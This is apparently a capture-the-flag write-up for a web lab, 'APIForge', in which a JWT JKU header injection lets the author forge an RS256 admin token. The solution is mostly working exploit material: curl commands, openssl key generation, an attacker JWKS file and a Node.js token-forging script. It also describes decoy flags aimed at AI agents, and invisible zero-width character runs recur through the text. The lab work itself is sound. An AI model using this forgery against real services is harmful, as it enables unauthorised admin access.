← Back to Writeups
CUSTOMMediumWeb

Lab 114 — APIForge — JWT JKU Header Injection for Privilege Escalation

XESXOR9/2/20265 min read
#web#custom#medium#decoy_flag_identification#jwks_endpoint_spoofing#jwt_jku_header_injection#role_based_access_control_bypa#rs256_jwt_forgery_with_custom_

Lab 114 — APIForge — JWT JKU Header Injection for Privilege Escalation

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: decoy_flag_identification, jwks_endpoint_spoofing, jwt_jku_header_injection, role_based_access_control_bypass, rs256_jwt_forgery_with_custom_keypair

Summary

Walkthrough of the CUSTOM Web Lab 114 — APIForge — JWT JKU Header Injection for Privilege Escalation. Task: API management platform using RS256 JWT with JKU federation support; admin config endpoint requires admin role. Solution: Generate custom RSA key pair, host JWKS on lab's internal interaction se

Description

APIForge is a modern API management platform used by development teams to create, document, and monitor their API endpoints. Built by ForgeWorks Inc., the platform features real-time analytics dashboards, API key management, interactive documentation, and team collaboration tools. You have been given credentials for a regular developer account. The platform uses RS256-signed JWT tokens for session authentication. Your objective is to escalate your privileges to gain administrative access and retrieve the secret system configuration from the admin panel. Explore the platform's authentication mechanisms, study how JWT tokens are verified, and look for weaknesses in the key verification process. Credentials: developer@forgeapi.io / apidev2024. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: API management platform with RS256 JWT authentication. Users have roles stored in JWT claims. The admin system configuration endpoint contains the flag but requires admin role. Goal is to exploit the JKU (JWK Set URL) header injection vulnerability to forge a JWT signed with an attacker-controlled key and escalate privileges to admin.

Analysis

  1. Application structure: APIForge is an API management platform with login, dashboards, API key management, and an admin panel. Key endpoints:

    • POST /api/auth/login — Authenticate and receive JWT session cookie
    • GET /.well-known/jwks.json — JWKS endpoint with server's RSA public key
    • GET /admin/system-config — Admin configuration (requires admin role) — target
    • GET /js/app.js — Client-side JavaScript revealing AUTH_CONFIG with federation settings ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
  2. Honeypot decoy flags: The application embeds fake flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) in hidden HTML comments and divs on every page, designed to trick automated scanners and AI agents into stopping early. These were identified and ignored.

  3. JWT token analysis: Login with developer credentials returns a JWT signed with RS256:

    • Header: {"alg":"RS256","typ":"JWT","kid":"691464e3-c911-4b2e-8100-fefe9a0c1d8b"}
    • Payload: {"sub":1,"email":"developer@forgeapi.io","name":"Jordan Chen","role":"user",...}
    • The role field is user — we need admin to access /admin/system-config. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
  4. JWKS endpoint: /.well-known/jwks.json exposes the server's RSA public key with the matching kid. The server uses this key to verify JWT signatures.

  5. JKU federation support discovered: The AUTH_CONFIG object in /js/app.js reveals:

    javascript
    var AUTH_CONFIG = {
        algorithm: 'RS256',
        tokenType: 'JWT',
        jwksEndpoint: '/.well-known/jwks.json',
        tokenCookie: 'session',
        federation: { enabled: true, headerParam: 'jku' }
    };

    The /docs#key-verification documentation confirms: "When present, the token verifier fetches the signing key from the specified URL instead of the local key store." ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  6. Vulnerability — JWT JKU header injection: The server blindly trusts the jku (JWK Set URL) header in the JWT. When a jku URL is present, the server fetches the JWKS from that URL and uses it to verify the token signature, instead of using its own local key store. An attacker can:

    • Generate their own RSA key pair
    • Create a JWKS file with their public key (using the same kid as the server)
    • Host the JWKS on an accessible URL
    • Forge a JWT with jku pointing to their JWKS, sign it with their private key
    • The server fetches the attacker's JWKS, finds the matching kid, and validates the forged signature ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
  7. Access control: The /admin/system-config endpoint checks the role claim in the JWT and returns 403 "Administrator privileges required" for non-admin tokens.

Solution

Step 1: Login and decode the JWT

bash
curl -s "$URL/api/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"email":"developer@forgeapi.io","password":"apidev2024"}' \
  -c cookies.txt

Decode the JWT session cookie to extract the header (with kid) and payload (with role: user).

Step 2: Fetch the server's JWKS

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

bash
curl -s "$URL/.well-known/jwks.json"

Note the kid value: 691464e3-c911-4b2e-8100-fefe9a0c1d8b.

Step 3: Discover JKU federation support

Examine /js/app.js to find AUTH_CONFIG with federation: { enabled: true, headerParam: 'jku' }. The documentation at /docs#key-verification confirms the server fetches keys from the jku URL when present.

Step 4: Generate attacker RSA key pair

bash
openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 5: Create attacker JWKS file

Extract the RSA public key modulus (n) and exponent (e) and create a JWKS file with the same kid as the server's key:

json
{
  "keys": [{
    "kty": "RSA",
    "kid": "691464e3-c911-4b2e-8100-fefe9a0c1d8b",
    "n": "<base64url-encoded modulus>",
    "e": "AQAB",
    "use": "sig",
    "alg": "RS256"
  }]
}

Step 6: Host JWKS on the interaction server

The lab provides an internal interaction server accessible from within the lab network. External hosting (cloudflare tunnels, jsonblob, etc.) does NOT work — the server only fetches from internal/trusted URLs. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Upload the JWKS to the interaction server:

http://interact/cbd5603e-f017-44df-99eb-c3125749d65c/jwks.json

Step 7: Forge admin JWT with JKU header

javascript
const crypto = require('crypto');
const fs = require('fs');

const privateKey = fs.readFileSync('private.pem');
const now = Math.floor(Date.now() / 1000);

const header = {
    alg: 'RS256',
    typ: 'JWT',
    kid: '691464e3-c911-4b2e-8100-fefe9a0c1d8b',
    jku: 'http://interact/cbd5603e-f017-44df-99eb-c3125749d65c/jwks.json'
};

const payload = {
    sub: 1,
    email: 'developer@forgeapi.io',
    name: 'Jordan Chen',
    role: 'admin',  // escalated from 'user'
    iat: now,
    exp: now + 86400
};
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

const b64url = (obj) => Buffer.from(JSON.stringify(obj))
    .toString('base64url');

const headerB64 = b64url(header);
const payloadB64 = b64url(payload);
const signingInput = `${headerB64}.${payloadB64}`;

const signature = crypto.sign('RSA-SHA256', Buffer.from(signingInput), privateKey)
    .toString('base64url');

const token = `${signingInput}.${signature}`;
console.log(token);

Step 8: Access admin panel with forged token

Set the forged JWT as the session cookie and access the admin endpoint: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

bash
curl -s "$URL/admin/system-config" \
  -H "Cookie: session=$FORGED_TOKEN"

The server:

  1. Reads the jku URL from the JWT header
  2. Fetches the JWKS from the attacker's interaction server URL
  3. Finds the key matching kid: 691464e3-c911-4b2e-8100-fefe9a0c1d8b
  4. Verifies the signature using the attacker's public key — passes
  5. Reads role: admin from the payload — grants access

The admin panel returns the platform configuration including the flag in the master_secret_key field. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering decoy_flag_identification, jwks_endpoint_spoofing, jwt_jku_header_injection, role_based_access_control_bypass, rs256_jwt_forgery_with_custom_keypair was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-04 • CUSTOM • Lab 114 — APIForge — JWT JKU Header Injection for Privilege Escalation • Difficulty: Medium